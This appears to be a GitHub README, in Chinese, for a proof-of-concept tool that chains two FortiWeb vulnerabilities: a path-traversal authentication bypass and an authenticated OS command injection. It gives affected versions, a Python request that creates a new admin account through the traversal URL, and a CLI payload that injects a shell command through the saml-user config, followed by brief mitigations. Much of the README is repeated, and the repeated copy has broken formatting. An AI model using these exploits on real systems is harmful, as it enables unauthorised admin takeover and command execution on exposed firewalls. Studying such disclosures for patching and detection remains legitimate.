litndat/Vulnerability-CVE-2025-64446-CVE-2025-58034
GitHub: litndat/Vulnerability-CVE-2025-64446-CVE-2025-58034
FortiWeb CVE-2025-64446 与 CVE-2025-58034 漏洞链式利用的 PoC 模拟工具,用于安全研究与漏洞验证。
Stars: 0 | Forks: 0
# FortiWeb 漏洞利用模拟 (CVE-2025-64446 & CVE-2025-58034)
### 注意事项:
- 本文档仅供安全学习与研究目的使用。
- 未经授权,请勿用于攻击任何系统。
## 1. 概述
FortiWeb 是一款用于保护 Web 应用程序的 Web Application Firewall (WAF) 设备。
2025 年,发现了两个严重的安全漏洞:
- CVE-2025-64446 – 通过 Path Traversal 绕过身份验证
- CVE-2025-58034 – OS Command Injection
## 2. CVE-2025-64446 概述
| 项目 | 内容 |
|-----|---------|
| 漏洞类型 | Relative Path Traversal
Authentication Bypass | | 原因 | FortiWeb 在进行身份验证之前对路径的处理不够严谨:
- 基于逻辑路径字符串进行访问控制
- 未对路径进行完全的 normalize 处理
- 允许使用 `../` 访问内部资源 | | 描述 | 部分管理 endpoint 可以在无需有效身份验证的情况下被访问 | | 危害 | - 完全绕过身份验证
- 非法访问 admin 功能
- 破坏权限模型 | | 受影响版本 | - 8.0.0 – 8.0.1
- 7.6.0 – 7.6.4
- 7.4.0 – 7.4.9
- 7.2.0 – 7.2.11
- 7.0.0 – 7.0.11 | 示例: ``` /api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi ``` ## 3. CVE-2025-58034 概述 | 项目 | 内容 | |-----|---------| | 漏洞类型 | OS Command Injection (CWE-78) | | 原因 | FortiWeb 在执行操作系统命令时对输入的处理不安全:
- 未对输入进行 validate
- 缺少对特殊字符的 escape
- 将用户数据直接传递给系统命令 | | 描述 | 该漏洞需要身份验证,但允许注入系统命令 | | 危害 | - 执行未经授权的命令
- 访问系统资源
- 影响完整性和可用性 | | 受影响版本 | - 8.0.0 – 8.0.1
- 7.6.0 – 7.6.5
- 7.4.0 – 7.4.10
- 7.2.0 – 7.2.11
- 7.0.0 – 7.0.11 | ## 4. 实验过程 (POC) ### 4.1. 准备环境: ``` python3 -m venv venv source venv/bin/activate pip install -r requirements.txt ``` 这有助于避免库版本冲突,确保工作环境的稳定性,并限制对系统的影响
### 4.2 漏洞利用
Payload
```
cgiinfo_json = {
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
resp = conn.getresponse()
result = {
'target': f"{host}:{port}",
'status': resp.status,
'user': username,
'password': password,
'success': resp.status == 200
}
```
使用 Python3 运行工具:
```
python3 exploit.py
```
* ``: 此处的 IP 地址是 FortiWeb 设备的主机名。
获取到用户名和密码 -> 尝试登录
成功利用漏洞并创建了具有 admin 权限的新账号。
### 4.3 登录账号后利用 CVE-2025-58034
使用新创建的管理员账号成功登录后,攻击者可以通过构造特定的请求或直接通过 FortiWeb CLI 命令行界面,利用该已认证的命令注入漏洞:
```
config user saml-user
edit "`id`" ## nhập lệnh tại đây
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end
```
FortiWeb 将跳出配置链,并在配置 saml-user 的过程中执行 id 命令。
## 5. 缓解漏洞的措施
- 将 FortiWeb 升级到已修复的版本。
- 限制对管理界面的访问。
- 不要将管理接口暴露在 Internet 上。
- 检查异常的 admin 账号。
## 6. 更多参考资料
* CVE-2025-64446 – https://nvd.nist.gov/vuln/detail/CVE-2025-64446
* CVE-2025-58034 – https://nvd.nist.gov/vuln/detail/CVE-2025-58034
Authentication Bypass | | 原因 | FortiWeb 在进行身份验证之前对路径的处理不够严谨:
- 基于逻辑路径字符串进行访问控制
- 未对路径进行完全的 normalize 处理
- 允许使用 `../` 访问内部资源 | | 描述 | 部分管理 endpoint 可以在无需有效身份验证的情况下被访问 | | 危害 | - 完全绕过身份验证
- 非法访问 admin 功能
- 破坏权限模型 | | 受影响版本 | - 8.0.0 – 8.0.1
- 7.6.0 – 7.6.4
- 7.4.0 – 7.4.9
- 7.2.0 – 7.2.11
- 7.0.0 – 7.0.11 | 示例: ``` /api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi ``` ## 3. CVE-2025-58034 概述 | 项目 | 内容 | |-----|---------| | 漏洞类型 | OS Command Injection (CWE-78) | | 原因 | FortiWeb 在执行操作系统命令时对输入的处理不安全:
- 未对输入进行 validate
- 缺少对特殊字符的 escape
- 将用户数据直接传递给系统命令 | | 描述 | 该漏洞需要身份验证,但允许注入系统命令 | | 危害 | - 执行未经授权的命令
- 访问系统资源
- 影响完整性和可用性 | | 受影响版本 | - 8.0.0 – 8.0.1
- 7.6.0 – 7.6.5
- 7.4.0 – 7.4.10
- 7.2.0 – 7.2.11
- 7.0.0 – 7.0.11 | ## 4. 实验过程 (POC) ### 4.1. 准备环境: ``` python3 -m venv venv source venv/bin/activate pip install -r requirements.txt ``` 这有助于避免库版本冲突,确保工作环境的稳定性,并限制对系统的影响
### 4.2 漏洞利用
Payload
```
cgiinfo_json = {
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
resp = conn.getresponse()
result = {
'target': f"{host}:{port}",
'status': resp.status,
'user': username,
'password': password,
'success': resp.status == 200
}
```
使用 Python3 运行工具:
```
python3 exploit.py
获取到用户名和密码 -> 尝试登录
成功利用漏洞并创建了具有 admin 权限的新账号。
### 4.3 登录账号后利用 CVE-2025-58034
使用新创建的管理员账号成功登录后,攻击者可以通过构造特定的请求或直接通过 FortiWeb CLI 命令行界面,利用该已认证的命令注入漏洞:
```
config user saml-user
edit "`id`" ## nhập lệnh tại đây
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end
```
FortiWeb 将跳出配置链,并在配置 saml-user 的过程中执行 id 命令。
## 5. 缓解漏洞的措施
- 将 FortiWeb 升级到已修复的版本。
- 限制对管理界面的访问。
- 不要将管理接口暴露在 Internet 上。
- 检查异常的 admin 账号。
## 6. 更多参考资料
* CVE-2025-64446 – https://nvd.nist.gov/vuln/detail/CVE-2025-64446
* CVE-2025-58034 – https://nvd.nist.gov/vuln/detail/CVE-2025-58034标签:CISA项目, StruQ, 命令注入, 安全漏洞, 认证绕过, 路径穿越, 逆向工具